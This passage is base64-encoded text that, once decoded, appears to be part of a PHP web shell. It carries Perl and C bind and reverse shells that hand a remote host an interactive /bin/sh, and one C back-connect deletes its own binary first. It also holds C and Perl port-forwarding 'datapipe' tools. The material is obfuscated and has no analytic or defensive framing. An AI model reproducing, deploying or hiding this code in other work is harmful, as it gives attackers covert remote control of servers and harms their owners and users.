LCZQRl9JTkVULCZTT0NLX1NUUkVBTSwkcHJvdG9jb2wpIHx8IGRpZSAiQ2FudCBjcmVhdGUgc29j a2V0XG4iOw0Kc2V0c29ja29wdChTLFNPTF9TT0NLRVQsU09fUkVVU0VBRERSLDEpOw0KYmluZChT LHNvY2thZGRyX2luKCRMSVNURU5fUE9SVCxJTkFERFJfQU5ZKSkgfHwgZGllICJDYW50IG9wZW4g cG9ydFxuIjsNCmxpc3RlbihTLDMpIHx8IGRpZSAiQ2FudCBsaXN0ZW4gcG9ydFxuIjsNCndoaWxl KDEpDQp7DQphY2NlcHQoQ09OTixTKTsNCmlmKCEoJHBpZD1mb3JrKSkNCnsNCmRpZSAiQ2Fubm90 IGZvcmsiIGlmICghZGVmaW5lZCAkcGlkKTsNCm9wZW4gU1RESU4sIjwmQ09OTiI7DQpvcGVuIFNU RE9VVCwiPiZDT05OIjsNCm9wZW4gU1RERVJSLCI+JkNPTk4iOw0KZXhlYyAkU0hFTEwgfHwgZGll IHByaW50IENPTk4gIkNhbnQgZXhlY3V0ZSAkU0hFTExcbiI7DQpjbG9zZSBDT05OOw0KZXhpdCAw Ow0KfQ0KfQ0KDQoqLw0KDQokYmFja19jb25uZWN0PSJJeUV2ZFhOeUwySnBiaTl3WlhKc0RRcDFj MlVnVTI5amEyVjBPdzBLSkdOdFpEMGdJbXg1Ym5naU93MEtKSE41YzNSbGJUMGdKMlZqYUc4Z0lt QjFibUZ0WlNBdFlXQWlPMlZqDQphRzhnSW1CcFpHQWlPeTlpYVc0dmMyZ25PdzBLSkRBOUpHTnRa RHNOQ2lSMFlYSm5aWFE5SkVGU1IxWmJNRjA3RFFva2NHOXlkRDBrUVZKSFZsc3hYVHNOQ2lScFlX UmtjajFwYm1WMFgyRjBiMjRvSkhSDQpoY21kbGRDa2dmSHdnWkdsbEtDSkZjbkp2Y2pvZ0pDRmNi aUlwT3cwS0pIQmhaR1J5UFhOdlkydGhaR1J5WDJsdUtDUndiM0owTENBa2FXRmtaSElwSUh4OElH UnBaU2dpUlhKeWIzSTZJQ1FoWEc0aUtUDQpzTkNpUndjbTkwYnoxblpYUndjbTkwYjJKNWJtRnRa U2duZEdOd0p5azdEUXB6YjJOclpYUW9VMDlEUzBWVUxDQlFSbDlKVGtWVUxDQlRUME5MWDFOVVVr VkJUU3dnSkhCeWIzUnZLU0I4ZkNCa2FXVW9JDQprVnljbTl5T2lBa0lWeHVJaWs3RFFwamIyNXVa V04wS0ZOUFEwdEZWQ3dnSkhCaFpHUnlLU0I4ZkNCa2FXVW9Ja1Z5Y205eU9pQWtJVnh1SWlrN0RR cHZjR1Z1S0ZOVVJFbE9MQ0FpUGlaVFQwTkxSVlFpDQpLVHNOQ205d1pXNG9VMVJFVDFWVUxDQWlQ aVpUVDBOTFJWUWlLVHNOQ205d1pXNG9VMVJFUlZKU0xDQWlQaVpUVDBOTFJWUWlLVHNOQ25ONWMz UmxiU2drYzNsemRHVnRLVHNOQ21Oc2IzTmxLRk5VUkVsDQpPS1RzTkNtTnNiM05sS0ZOVVJFOVZW Q2s3RFFwamJHOXpaU2hUVkVSRlVsSXBPdz09IjsNCg0KLyogJiMyMjA7U1QgU0FUSVJJTiBLSVJJ TE1JJiMyMjI7IEhBTCYjMjIxOyAqLw0KLyoNCg0KIyEvdXNyL2Jpbi9wZXJsDQp1c2UgU29ja2V0 Ow0KJGNtZD0gImx5bngiOw0KJHN5c3RlbT0gJ2VjaG8gImB1bmFtZSAtYWAiO2VjaG8gImBpZGAi Oy9iaW4vc2gnOw0KJDA9JGNtZDsNCiR0YXJnZXQ9JEFSR1ZbMF07DQokcG9ydD0kQVJHVlsxXTsN CiRpYWRkcj1pbmV0X2F0b24oJHRhcmdldCkgfHwgZGllKCJFcnJvcjogJCFcbiIpOw0KJHBhZGRy PXNvY2thZGRyX2luKCRwb3J0LCAkaWFkZHIpIHx8IGRpZSgiRXJyb3I6ICQhXG4iKTsNCiRwcm90 bz1nZXRwcm90b2J5bmFtZSgndGNwJyk7DQpzb2NrZXQoU09DS0VULCBQRl9JTkVULCBTT0NLX1NU UkVBTSwgJHByb3RvKSB8fCBkaWUoIkVycm9yOiAkIVxuIik7DQpjb25uZWN0KFNPQ0tFVCwgJHBh ZGRyKSB8fCBkaWUoIkVycm9yOiAkIVxuIik7DQpvcGVuKFNURElOLCAiPiZTT0NLRVQiKTsNCm9w ZW4oU1RET1VULCAiPiZTT0NLRVQiKTsNCm9wZW4oU1RERVJSLCAiPiZTT0NLRVQiKTsNCnN5c3Rl bSgkc3lzdGVtKTsNCmNsb3NlKFNURElOKTsNCmNsb3NlKFNURE9VVCk7DQpjbG9zZShTVERFUlIp Ow0KDQoqLw0KDQokYmFja19jb25uZWN0X2M9IkkybHVZMngxWkdVZ1BITjBaR2x2TG1nK0RRb2ph VzVqYkhWa1pTQThjM2x6TDNOdlkydGxkQzVvUGcwS0kybHVZMngxWkdVZ1BHNWxkR2x1WlhRdmFX NHVhRDROQ21sdWRDDQpCdFlXbHVLR2x1ZENCaGNtZGpMQ0JqYUdGeUlDcGhjbWQyVzEwcERRcDdE UW9nYVc1MElHWmtPdzBLSUhOMGNuVmpkQ0J6YjJOcllXUmtjbDlwYmlCemFXNDdEUW9nWTJoaGNp QnliWE5iTWpGZFBTSnliDQpTQXRaaUFpT3lBTkNpQmtZV1Z0YjI0b01Td3dLVHNOQ2lCemFXNHVj Mmx1WDJaaGJXbHNlU0E5SUVGR1gwbE9SVlE3RFFvZ2MybHVMbk5wYmw5d2IzSjBJRDBnYUhSdmJu TW9ZWFJ2YVNoaGNtZDJXekpkDQpLU2s3RFFvZ2MybHVMbk5wYmw5aFpHUnlMbk5mWVdSa2NpQTlJ R2x1WlhSZllXUmtjaWhoY21kMld6RmRLVHNnRFFvZ1lucGxjbThvWVhKbmRsc3hYU3h6ZEhKc1pX NG9ZWEpuZGxzeFhTa3JNU3R6ZEhKDQpzWlc0b1lYSm5kbHN5WFNrcE95QU5DaUJtWkNBOUlITnZZ MnRsZENoQlJsOUpUa1ZVTENCVFQwTkxYMU5VVWtWQlRTd2dTVkJRVWs5VVQxOVVRMUFwSURzZ0RR b2dhV1lnS0NoamIyNXVaV04wS0daa0xDDQpBb2MzUnlkV04wSUhOdlkydGhaR1J5SUNvcElDWnph VzRzSUhOcGVtVnZaaWh6ZEhKMVkzUWdjMjlqYTJGa1pISXBLU2s4TUNrZ2V3MEtJQ0FnY0dWeWNt OXlLQ0piTFYwZ1kyOXVibVZqZENncElpazdEDQpRb2dJQ0JsZUdsMEtEQXBPdzBLSUgwTkNpQnpk SEpqWVhRb2NtMXpMQ0JoY21kMld6QmRLVHNOQ2lCemVYTjBaVzBvY20xektUc2dJQTBLSUdSMWNE SW9abVFzSURBcE93MEtJR1IxY0RJb1ptUXNJREVwDQpPdzBLSUdSMWNESW9abVFzSURJcE93MEtJ R1Y0WldOc0tDSXZZbWx1TDNOb0lpd2ljMmdnTFdraUxDQk9WVXhNS1RzTkNpQmpiRzl6WlNobVpD azdJQTBLZlE9PSI7DQoNCg0KLyogJiMyMjA7U1QgU0FUSVJJTiBLSVJJTE1JJiMyMjI7IEhBTCYj MjIxOyAqLw0KLyoNCg0KI2luY2x1ZGUgPHN0ZGlvLmg+DQojaW5jbHVkZSA8c3lzL3NvY2tldC5o Pg0KI2luY2x1ZGUgPG5ldGluZXQvaW4uaD4NCmludCBtYWluKGludCBhcmdjLCBjaGFyICphcmd2 W10pDQp7DQogaW50IGZkOw0KIHN0cnVjdCBzb2NrYWRkcl9pbiBzaW47DQogY2hhciBybXNbMjFd PSJybSAtZiAiOyANCiBkYWVtb24oMSwwKTsNCiBzaW4uc2luX2ZhbWlseSA9IEFGX0lORVQ7DQog c2luLnNpbl9wb3J0ID0gaHRvbnMoYXRvaShhcmd2WzJdKSk7DQogc2luLnNpbl9hZGRyLnNfYWRk ciA9IGluZXRfYWRkcihhcmd2WzFdKTsgDQogYnplcm8oYXJndlsxXSxzdHJsZW4oYXJndlsxXSkr MStzdHJsZW4oYXJndlsyXSkpOyANCiBmZCA9IHNvY2tldChBRl9JTkVULCBTT0NLX1NUUkVBTSwg SVBQUk9UT19UQ1ApIDsgDQogaWYgKChjb25uZWN0KGZkLCAoc3RydWN0IHNvY2thZGRyICopICZz aW4sIHNpemVvZihzdHJ1Y3Qgc29ja2FkZHIpKSk8MCkgew0KICAgcGVycm9yKCJbLV0gY29ubmVj dCgpIik7DQogICBleGl0KDApOw0KIH0NCiBzdHJjYXQocm1zLCBhcmd2WzBdKTsNCiBzeXN0ZW0o cm1zKTsgIA0KIGR1cDIoZmQsIDApOw0KIGR1cDIoZmQsIDEpOw0KIGR1cDIoZmQsIDIpOw0KIGV4 ZWNsKCIvYmluL3NoIiwic2ggLWkiLCBOVUxMKTsNCiBjbG9zZShmZCk7IA0KfQ0KDQoqLw0KDQoN CiRkYXRhcGlwZV9jPSJJMmx1WTJ4MVpHVWdQSE41Y3k5MGVYQmxjeTVvUGcwS0kybHVZMngxWkdV Z1BITjVjeTl6YjJOclpYUXVhRDROQ2lOcGJtTnNkV1JsSUR4emVYTXZkMkZwZEM1b1BnMEtJMmx1 WTINCngxWkdVZ1BHNWxkR2x1WlhRdmFXNHVhRDROQ2lOcGJtTnNkV1JsSUR4emRHUnBieTVvUGcw S0kybHVZMngxWkdVZ1BITjBaR3hwWWk1b1BnMEtJMmx1WTJ4MVpHVWdQR1Z5Y201dkxtZytEUW9q YVc1amINCkhWa1pTQThkVzVwYzNSa0xtZytEUW9qYVc1amJIVmtaU0E4Ym1WMFpHSXVhRDROQ2lO cGJtTnNkV1JsSUR4c2FXNTFlQzkwYVcxbExtZytEUW9qYVdaa1pXWWdVMVJTUlZKU1QxSU5DbVY0 ZEdWeWJpQmoNCmFHRnlJQ3B6ZVhOZlpYSnliR2x6ZEZ0ZE93MEtaWGgwWlhKdUlHbHVkQ0J6ZVhO ZmJtVnljanNOQ21Ob1lYSWdLblZ1WkdWbUlEMGdJbFZ1WkdWbWFXNWxaQ0JsY25KdmNpSTdEUXBq YUdGeUlDcHpkSEoNCmxjbkp2Y2lobGNuSnZjaWtnSUEwS2FXNTBJR1Z5Y205eU95QWdEUXA3SUEw S2FXWWdLR1Z5Y205eUlENGdjM2x6WDI1bGNuSXBEUXB5WlhSMWNtNGdkVzVrWldZN0RRcHlaWFIx Y200Z2MzbHpYMlZ5Y20NCnhwYzNSYlpYSnliM0pkT3cwS2ZRMEtJMlZ1WkdsbURRb05DbTFoYVc0 b1lYSm5ZeXdnWVhKbmRpa2dJQTBLSUNCcGJuUWdZWEpuWXpzZ0lBMEtJQ0JqYUdGeUlDb3FZWEpu ZGpzZ0lBMEtleUFOQ2lBZ2ENClc1MElHeHpiMk5yTENCamMyOWpheXdnYjNOdlkyczdEUW9nSUVa SlRFVWdLbU5tYVd4bE93MEtJQ0JqYUdGeUlHSjFabHMwTURrMlhUc05DaUFnYzNSeWRXTjBJSE52 WTJ0aFpHUnlYMmx1SUd4aFpHUnkNCkxDQmpZV1JrY2l3Z2IyRmtaSEk3RFFvZ0lHbHVkQ0JqWVdS a2NteGxiaUE5SUhOcGVtVnZaaWhqWVdSa2NpazdEUW9nSUdaa1gzTmxkQ0JtWkhOeUxDQm1aSE5s T3cwS0lDQnpkSEoxWTNRZ2FHOXpkR1YNCnVkQ0FxYURzTkNpQWdjM1J5ZFdOMElITmxjblpsYm5R Z0tuTTdEUW9nSUdsdWRDQnVZbmwwT3cwS0lDQjFibk5wWjI1bFpDQnNiMjVuSUdFN0RRb2dJSFZ1 YzJsbmJtVmtJSE5vYjNKMElHOXdiM0owT3cNCjBLRFFvZ0lHbG1JQ2hoY21kaklDRTlJRFFwSUhz TkNpQWdJQ0JtY0hKcGJuUm1LSE4wWkdWeWNpd2lWWE5oWjJVNklDVnpJR3h2WTJGc2NHOXlkQ0J5 WlcxdmRHVndiM0owSUhKbGJXOTBaV2h2YzNSY2INCmlJc1lYSm5kbHN3WFNrN0RRb2dJQ0FnY21W MGRYSnVJRE13T3cwS0lDQjlEUW9nSUdFZ1BTQnBibVYwWDJGa1pISW9ZWEpuZGxzelhTazdEUW9n SUdsbUlDZ2hLR2dnUFNCblpYUm9iM04wWW5sdVlXMWwNCktHRnlaM1piTTEwcEtTQW1KZzBLSUNB Z0lDQWdJU2hvSUQwZ1oyVjBhRzl6ZEdKNVlXUmtjaWdtWVN3Z05Dd2dRVVpmU1U1RlZDa3BLU0I3 RFFvZ0lDQWdjR1Z5Y205eUtHRnlaM1piTTEwcE93MEtJQ0ENCmdJSEpsZEhWeWJpQXlOVHNOQ2lB Z2ZRMEtJQ0J2Y0c5eWRDQTlJR0YwYjJ3b1lYSm5kbHN5WFNrN0RRb2dJR3hoWkdSeUxuTnBibDl3 YjNKMElEMGdhSFJ2Ym5Nb0tIVnVjMmxuYm1Wa0lITm9iM0owS1MNCmhoZEc5c0tHRnlaM1piTVYw cEtTazdEUW9nSUdsbUlDZ29iSE52WTJzZ1BTQnpiMk5yWlhRb1VFWmZTVTVGVkN3Z1UwOURTMTlU VkZKRlFVMHNJRWxRVUZKUFZFOWZWRU5RS1NrZ1BUMGdMVEVwSUhzTkMNCmlBZ0lDQndaWEp5YjNJ b0luTnZZMnRsZENJcE93MEtJQ0FnSUhKbGRIVnliaUF5TURzTkNpQWdmUTBLSUNCc1lXUmtjaTV6 YVc1ZlptRnRhV3g1SUQwZ2FIUnZibk1vUVVaZlNVNUZWQ2s3RFFvZ0lHeGgNClpHUnlMbk5wYmw5 aFpHUnlMbk5mWVdSa2NpQTlJR2gwYjI1c0tEQXBPdzBLSUNCcFppQW9ZbWx1WkNoc2MyOWpheXdn Sm14aFpHUnlMQ0J6YVhwbGIyWW9iR0ZrWkhJcEtTa2dldzBLSUNBZ0lIQmxjbkoNCnZjaWdpWW1s dVpDSXBPdzBLSUNBZ0lISmxkSFZ5YmlBeU1Ec05DaUFnZlEwS0lDQnBaaUFvYkdsemRHVnVLR3h6 YjJOckxDQXhLU2tnZXcwS0lDQWdJSEJsY25KdmNpZ2liR2x6ZEdWdUlpazdEUW9nSUMNCkFnY21W MGRYSnVJREl3T3cwS0lDQjlEUW9nSUdsbUlDZ29ibUo1ZENBOUlHWnZjbXNvS1NrZ1BUMGdMVEVw SUhzTkNpQWdJQ0J3WlhKeWIzSW9JbVp2Y21zaUtUc05DaUFnSUNCeVpYUjFjbTRnTWpBN0QNClFv Z0lIME5DaUFnYVdZZ0tHNWllWFFnUGlBd0tRMEtJQ0FnSUhKbGRIVnliaUF3T3cwS0lDQnpaWFJ6 YVdRb0tUc05DaUFnZDJocGJHVWdLQ2hqYzI5amF5QTlJR0ZqWTJWd2RDaHNjMjlqYXl3Z0ptTmgN ClpHUnlMQ0FtWTJGa1pISnNaVzRwS1NBaFBTQXRNU2tnZXcwS0lDQWdJR05tYVd4bElEMGdabVJ2 Y0dWdUtHTnpiMk5yTENKeUt5SXBPdzBLSUNBZ0lHbG1JQ2dvYm1KNWRDQTlJR1p2Y21zb0tTa2dQ VDANCmdMVEVwSUhzTkNpQWdJQ0FnSUdad2NtbHVkR1lvWTJacGJHVXNJQ0kxTURBZ1ptOXlhem9n SlhOY2JpSXNJSE4wY21WeWNtOXlLR1Z5Y201dktTazdEUW9nSUNBZ0lDQnphSFYwWkc5M2JpaGpj MjlqYXkNCnd5S1RzTkNpQWdJQ0FnSUdaamJHOXpaU2hqWm1sc1pTazdEUW9nSUNBZ0lDQmpiMjUw YVc1MVpUc05DaUFnSUNCOURRb2dJQ0FnYVdZZ0tHNWllWFFnUFQwZ01Da05DaUFnSUNBZ0lHZHZk RzhnWjI5MGMNCjI5amF6c05DaUFnSUNCbVkyeHZjMlVvWTJacGJHVXBPdzBLSUNBZ0lIZG9hV3hs SUNoM1lXbDBjR2xrS0MweExDQk9WVXhNTENCWFRrOUlRVTVIS1NBK0lEQXBPdzBLSUNCOURRb2dJ SEpsZEhWeWJpQXkNCk1Ec05DZzBLSUdkdmRITnZZMnM2RFFvZ0lHbG1JQ2dvYjNOdlkyc2dQU0J6 YjJOclpYUW9VRVpmU1U1RlZDd2dVMDlEUzE5VFZGSkZRVTBzSUVsUVVGSlBWRTlmVkVOUUtTa2dQ VDBnTFRFcElIc05DaUENCmdJQ0JtY0hKcGJuUm1LR05tYVd4bExDQWlOVEF3SUhOdlkydGxkRG9n SlhOY2JpSXNJSE4wY21WeWNtOXlLR1Z5Y201dktTazdEUW9nSUNBZ1oyOTBieUJ4ZFdsME1Uc05D aUFnZlEwS0lDQnZZV1JrY2kNCjV6YVc1ZlptRnRhV3g1SUQwZ2FDMCthRjloWkdSeWRIbHdaVHNO Q2lBZ2IyRmtaSEl1YzJsdVgzQnZjblFnUFNCb2RHOXVjeWh2Y0c5eWRDazdEUW9nSUcxbGJXTndl U2dtYjJGa1pISXVjMmx1WDJGa1oNCkhJc0lHZ3RQbWhmWVdSa2Npd2dhQzArYUY5c1pXNW5kR2dw T3cwS0lDQnBaaUFvWTI5dWJtVmpkQ2h2YzI5amF5d2dKbTloWkdSeUxDQnphWHBsYjJZb2IyRmta SElwS1NrZ2V3MEtJQ0FnSUdad2NtbHUNCmRHWW9ZMlpwYkdVc0lDSTFNREFnWTI5dWJtVmpkRG9n SlhOY2JpSXNJSE4wY21WeWNtOXlLR1Z5Y201dktTazdEUW9nSUNBZ1oyOTBieUJ4ZFdsME1Uc05D aUFnZlEwS0lDQjNhR2xzWlNBb01Ta2dldzANCktJQ0FnSUVaRVgxcEZVazhvSm1aa2MzSXBPdzBL SUNBZ0lFWkVYMXBGVWs4b0ptWmtjMlVwT3cwS0lDQWdJRVpFWDFORlZDaGpjMjlqYXl3bVptUnpj aWs3RFFvZ0lDQWdSa1JmVTBWVUtHTnpiMk5yTEMNClptWkhObEtUc05DaUFnSUNCR1JGOVRSVlFv YjNOdlkyc3NKbVprYzNJcE93MEtJQ0FnSUVaRVgxTkZWQ2h2YzI5amF5d21abVJ6WlNrN0RRb2dJ Q0FnYVdZZ0tITmxiR1ZqZENneU1Dd2dKbVprYzNJc0kNCkU1VlRFd3NJQ1ptWkhObExDQk9WVXhN S1NBOVBTQXRNU2tnZXcwS0lDQWdJQ0FnWm5CeWFXNTBaaWhqWm1sc1pTd2dJalV3TUNCelpXeGxZ M1E2SUNWelhHNGlMQ0J6ZEhKbGNuSnZjaWhsY25KdWJ5a3ANCk93MEtJQ0FnSUNBZ1oyOTBieUJ4 ZFdsME1qc05DaUFnSUNCOURRb2dJQ0FnYVdZZ0tFWkVYMGxUVTBWVUtHTnpiMk5yTENabVpITnlL U0I4ZkNCR1JGOUpVMU5GVkNoamMyOWpheXdtWm1SelpTa3BJSHMNCk5DaUFnSUNBZ0lHbG1JQ2dv Ym1KNWRDQTlJSEpsWVdRb1kzTnZZMnNzWW5WbUxEUXdPVFlwS1NBOFBTQXdLUTBLQ1dkdmRHOGdj WFZwZERJN0RRb2dJQ0FnSUNCcFppQW9LSGR5YVhSbEtHOXpiMk5yTEcNCkoxWml4dVlubDBLU2tn UEQwZ01Da05DZ2xuYjNSdklIRjFhWFF5T3cwS0lDQWdJSDBnWld4elpTQnBaaUFvUmtSZlNWTlRS VlFvYjNOdlkyc3NKbVprYzNJcElIeDhJRVpFWDBsVFUwVlVLRzl6YjJOckwNCkNabVpITmxLU2tn ZXcwS0lDQWdJQ0FnYVdZZ0tDaHVZbmwwSUQwZ2NtVmhaQ2h2YzI5amF5eGlkV1lzTkRBNU5pa3BJ RHc5SURBcERRb0paMjkwYnlCeGRXbDBNanNOQ2lBZ0lDQWdJR2xtSUNnb2QzSnANCmRHVW9ZM052 WTJzc1luVm1MRzVpZVhRcEtTQThQU0F3S1EwS0NXZHZkRzhnY1hWcGRESTdEUW9nSUNBZ2ZRMEtJ Q0I5RFFvTkNpQnhkV2wwTWpvTkNpQWdjMmgxZEdSdmQyNG9iM052WTJzc01pazdEUW8NCmdJR05z YjNObEtHOXpiMk5yS1RzTkNpQnhkV2wwTVRvTkNpQWdabVpzZFhOb0tHTm1hV3hsS1RzTkNpQWdj MmgxZEdSdmQyNG9ZM052WTJzc01pazdEUW9nY1hWcGREQTZEUW9nSUdaamJHOXpaU2hqWm0NCmxz WlNrN0RRb2dJSEpsZEhWeWJpQXdPdzBLZlE9PSI7DQoNCi8qICYjMjIwO1NUIFNBVElSSU4gS0lS SUxNSSYjMjIyOyBIQUwmIzIyMTsgKi8NCi8qDQoNCiNpbmNsdWRlIDxzeXMvdHlwZXMuaD4NCiNp bmNsdWRlIDxzeXMvc29ja2V0Lmg+DQojaW5jbHVkZSA8c3lzL3dhaXQuaD4NCiNpbmNsdWRlIDxu ZXRpbmV0L2luLmg+DQojaW5jbHVkZSA8c3RkaW8uaD4NCiNpbmNsdWRlIDxzdGRsaWIuaD4NCiNp bmNsdWRlIDxlcnJuby5oPg0KI2luY2x1ZGUgPHVuaXN0ZC5oPg0KI2luY2x1ZGUgPG5ldGRiLmg+ DQojaW5jbHVkZSA8bGludXgvdGltZS5oPg0KI2lmZGVmIFNUUkVSUk9SDQpleHRlcm4gY2hhciAq c3lzX2Vycmxpc3RbXTsNCmV4dGVybiBpbnQgc3lzX25lcnI7DQpjaGFyICp1bmRlZiA9ICJVbmRl ZmluZWQgZXJyb3IiOw0KY2hhciAqc3RyZXJyb3IoZXJyb3IpICANCmludCBlcnJvcjsgIA0KeyAN CmlmIChlcnJvciA+IHN5c19uZXJyKQ0KcmV0dXJuIHVuZGVmOw0KcmV0dXJuIHN5c19lcnJsaXN0 W2Vycm9yXTsNCn0NCiNlbmRpZg0KDQptYWluKGFyZ2MsIGFyZ3YpICANCiAgaW50IGFyZ2M7ICAN CiAgY2hhciAqKmFyZ3Y7ICANCnsgDQogIGludCBsc29jaywgY3NvY2ssIG9zb2NrOw0KICBGSUxF ICpjZmlsZTsNCiAgY2hhciBidWZbNDA5Nl07DQogIHN0cnVjdCBzb2NrYWRkcl9pbiBsYWRkciwg Y2FkZHIsIG9hZGRyOw0KICBpbnQgY2FkZHJsZW4gPSBzaXplb2YoY2FkZHIpOw0KICBmZF9zZXQg ZmRzciwgZmRzZTsNCiAgc3RydWN0IGhvc3RlbnQgKmg7DQogIHN0cnVjdCBzZXJ2ZW50ICpzOw0K ICBpbnQgbmJ5dDsNCiAgdW5zaWduZWQgbG9uZyBhOw0KICB1bnNpZ25lZCBzaG9ydCBvcG9ydDsN Cg0KICBpZiAoYXJnYyAhPSA0KSB7DQogICAgZnByaW50ZihzdGRlcnIsIlVzYWdlOiAlcyBsb2Nh bHBvcnQgcmVtb3RlcG9ydCByZW1vdGVob3N0XG4iLGFyZ3ZbMF0pOw0KICAgIHJldHVybiAzMDsN CiAgfQ0KICBhID0gaW5ldF9hZGRyKGFyZ3ZbM10pOw0KICBpZiAoIShoID0gZ2V0aG9zdGJ5bmFt ZShhcmd2WzNdKSkgJiYNCiAgICAgICEoaCA9IGdldGhvc3RieWFkZHIoJmEsIDQsIEFGX0lORVQp KSkgew0KICAgIHBlcnJvcihhcmd2WzNdKTsNCiAgICByZXR1cm4gMjU7DQogIH0NCiAgb3BvcnQg PSBhdG9sKGFyZ3ZbMl0pOw0KICBsYWRkci5zaW5fcG9ydCA9IGh0b25zKCh1bnNpZ25lZCBzaG9y dCkoYXRvbChhcmd2WzFdKSkpOw0KICBpZiAoKGxzb2NrID0gc29ja2V0KFBGX0lORVQsIFNPQ0tf U1RSRUFNLCBJUFBST1RPX1RDUCkpID09IC0xKSB7DQogICAgcGVycm9yKCJzb2NrZXQiKTsNCiAg ICByZXR1cm4gMjA7DQogIH0NCiAgbGFkZHIuc2luX2ZhbWlseSA9IGh0b25zKEFGX0lORVQpOw0K ICBsYWRkci5zaW5fYWRkci5zX2FkZHIgPSBodG9ubCgwKTsNCiAgaWYgKGJpbmQobHNvY2ssICZs YWRkciwgc2l6ZW9mKGxhZGRyKSkpIHsNCiAgICBwZXJyb3IoImJpbmQiKTsNCiAgICByZXR1cm4g MjA7DQogIH0NCiAgaWYgKGxpc3Rlbihsc29jaywgMSkpIHsNCiAgICBwZXJyb3IoImxpc3RlbiIp Ow0KICAgIHJldHVybiAyMDsNCiAgfQ0KICBpZiAoKG5ieXQgPSBmb3JrKCkpID09IC0xKSB7DQog ICAgcGVycm9yKCJmb3JrIik7DQogICAgcmV0dXJuIDIwOw0KICB9DQogIGlmIChuYnl0ID4gMCkN CiAgICByZXR1cm4gMDsNCiAgc2V0c2lkKCk7DQogIHdoaWxlICgoY3NvY2sgPSBhY2NlcHQobHNv Y2ssICZjYWRkciwgJmNhZGRybGVuKSkgIT0gLTEpIHsNCiAgICBjZmlsZSA9IGZkb3Blbihjc29j aywicisiKTsNCiAgICBpZiAoKG5ieXQgPSBmb3JrKCkpID09IC0xKSB7DQogICAgICBmcHJpbnRm KGNmaWxlLCAiNTAwIGZvcms6ICVzXG4iLCBzdHJlcnJvcihlcnJubykpOw0KICAgICAgc2h1dGRv d24oY3NvY2ssMik7DQogICAgICBmY2xvc2UoY2ZpbGUpOw0KICAgICAgY29udGludWU7DQogICAg fQ0KICAgIGlmIChuYnl0ID09IDApDQogICAgICBnb3RvIGdvdHNvY2s7DQogICAgZmNsb3NlKGNm aWxlKTsNCiAgICB3aGlsZSAod2FpdHBpZCgtMSwgTlVMTCwgV05PSEFORykgPiAwKTsNCiAgfQ0K ICByZXR1cm4gMjA7DQoNCiBnb3Rzb2NrOg0KICBpZiAoKG9zb2NrID0gc29ja2V0KFBGX0lORVQs IFNPQ0tfU1RSRUFNLCBJUFBST1RPX1RDUCkpID09IC0xKSB7DQogICAgZnByaW50ZihjZmlsZSwg IjUwMCBzb2NrZXQ6ICVzXG4iLCBzdHJlcnJvcihlcnJubykpOw0KICAgIGdvdG8gcXVpdDE7DQog IH0NCiAgb2FkZHIuc2luX2ZhbWlseSA9IGgtPmhfYWRkcnR5cGU7DQogIG9hZGRyLnNpbl9wb3J0 ID0gaHRvbnMob3BvcnQpOw0KICBtZW1jcHkoJm9hZGRyLnNpbl9hZGRyLCBoLT5oX2FkZHIsIGgt PmhfbGVuZ3RoKTsNCiAgaWYgKGNvbm5lY3Qob3NvY2ssICZvYWRkciwgc2l6ZW9mKG9hZGRyKSkp IHsNCiAgICBmcHJpbnRmKGNmaWxlLCAiNTAwIGNvbm5lY3Q6ICVzXG4iLCBzdHJlcnJvcihlcnJu bykpOw0KICAgIGdvdG8gcXVpdDE7DQogIH0NCiAgd2hpbGUgKDEpIHsNCiAgICBGRF9aRVJPKCZm ZHNyKTsNCiAgICBGRF9aRVJPKCZmZHNlKTsNCiAgICBGRF9TRVQoY3NvY2ssJmZkc3IpOw0KICAg IEZEX1NFVChjc29jaywmZmRzZSk7DQogICAgRkRfU0VUKG9zb2NrLCZmZHNyKTsNCiAgICBGRF9T RVQob3NvY2ssJmZkc2UpOw0KICAgIGlmIChzZWxlY3QoMjAsICZmZHNyLCBOVUxMLCAmZmRzZSwg TlVMTCkgPT0gLTEpIHsNCiAgICAgIGZwcmludGYoY2ZpbGUsICI1MDAgc2VsZWN0OiAlc1xuIiwg c3RyZXJyb3IoZXJybm8pKTsNCiAgICAgIGdvdG8gcXVpdDI7DQogICAgfQ0KICAgIGlmIChGRF9J U1NFVChjc29jaywmZmRzcikgfHwgRkRfSVNTRVQoY3NvY2ssJmZkc2UpKSB7DQogICAgICBpZiAo KG5ieXQgPSByZWFkKGNzb2NrLGJ1Ziw0MDk2KSkgPD0gMCkNCglnb3RvIHF1aXQyOw0KICAgICAg aWYgKCh3cml0ZShvc29jayxidWYsbmJ5dCkpIDw9IDApDQoJZ290byBxdWl0MjsNCiAgICB9IGVs c2UgaWYgKEZEX0lTU0VUKG9zb2NrLCZmZHNyKSB8fCBGRF9JU1NFVChvc29jaywmZmRzZSkpIHsN CiAgICAgIGlmICgobmJ5dCA9IHJlYWQob3NvY2ssYnVmLDQwOTYpKSA8PSAwKQ0KCWdvdG8gcXVp dDI7DQogICAgICBpZiAoKHdyaXRlKGNzb2NrLGJ1ZixuYnl0KSkgPD0gMCkNCglnb3RvIHF1aXQy Ow0KICAgIH0NCiAgfQ0KDQogcXVpdDI6DQogIHNodXRkb3duKG9zb2NrLDIpOw0KICBjbG9zZShv c29jayk7DQogcXVpdDE6DQogIGZmbHVzaChjZmlsZSk7DQogIHNodXRkb3duKGNzb2NrLDIpOw0K IHF1aXQwOg0KICBmY2xvc2UoY2ZpbGUpOw0KICByZXR1cm4gMDsNCn0NCg0KKi8NCg0KJGRhdGFw aXBlX3BsPSJJeUV2ZFhOeUwySnBiaTl3WlhKc0RRcDFjMlVnU1U4Nk9sTnZZMnRsZERzTkNuVnpa U0JRVDFOSldEc05DaVJzYjJOaGJIQnZjblFnUFNBa1FWSkhWbHN3WFRzTkNpUm9iM04wSQ0KQ0Fn SUNBZ1BTQWtRVkpIVmxzeFhUc05DaVJ3YjNKMElDQWdJQ0FnUFNBa1FWSkhWbHN5WFRzTkNpUmtZ V1Z0YjI0OU1Uc05DaVJFU1ZJZ1BTQjFibVJsWmpzTkNpUjhJRDBnTVRzTkNtbG1JQ2drWkdGbA0K Ylc5dUtYc2dKSEJwWkNBOUlHWnZjbXM3SUdWNGFYUWdhV1lnSkhCcFpEc2daR2xsSUNJa0lTSWdk VzVzWlhOeklHUmxabWx1WldRb0pIQnBaQ2s3SUZCUFUwbFlPanB6WlhSemFXUW9LU0J2Y2lCa2FX VQ0KZ0lpUWhJanNnZlEwS0pXOGdQU0FvSjNCdmNuUW5JRDArSUNSc2IyTmhiSEJ2Y25Rc0ozUnZj 